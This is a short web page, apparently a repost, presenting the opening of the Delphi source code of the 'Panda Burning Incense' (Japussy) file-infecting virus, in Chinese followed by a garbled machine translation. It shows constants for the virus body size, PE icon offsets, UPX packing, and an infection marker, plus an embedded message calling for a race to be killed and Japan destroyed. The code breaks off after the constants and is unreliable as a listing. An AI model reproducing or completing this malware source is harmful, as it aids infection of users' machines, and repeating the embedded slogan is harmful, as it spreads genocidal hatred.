熊猫烧香原代码



熊猫烧香, 十六进制, Windows, 源代码, 字符串





熊猫烧香源代码

program Japussy

uses

Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}

const

HeaderSize = 82432 //病毒体的大小

IconOffset = EB8 //PE文件主图标的偏移量



//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同

//查找2800000020的十六进制字符串可以找到主图标的偏移量



{

HeaderSize = 38912 //Upx压缩过病毒体的大小

IconOffset = BC //Upx压缩过PE文件主图标的偏移量



//Upx 1.24W 用法: upx -9 --8086 Japussy.exe

}

IconSize = E8 //PE文件主图标的大小--744字节

IconTail = IconOffset + IconSize //PE文件主图标的尾部

ID = 444444 //感染标记



//垃圾码，以备写入

Catchword = If a race need to be killed out, it must be Yamato. +

If a country need to be destroyed, it must be Japan! +

***

{$R *.RES}

function : Integer): Integer-Panda original code Panda burning incense, hexadecimal, Windows source code, string the panda source code program Japussy　uses Windows, the SysUtils the Classes, Graphics, ShellAPI {, Registry}　const HeaderSize = 82 432 // virions the the size of IconOffset = EB8 // PE file main icon offset// in the above compile my Delphi5 SP1 size, other versions of Delphi may be different// Find 2800000020 hexadecimal string can be found in the main icon the offset {HeaderSize = 38912 // Upx compression over the the virus body size IconOffset = BC // Upx compressed PE file offset of the main icons the// Upx 1.24W Usage: upx-9- 8086 Japussy. exe} IconSize = E8 // PE file main icon size the- 744 the byte IconTail = IconOffset+ IconSize // tail of the PE file main icon ID = 444 444 // infection markers// junk yard to prepare written Catchword = ' If a race need to be killed out, it must be Yamato.' +'　If a country need to be destroyed, it must be Japan! ' +' *** {$ R*. RES} function: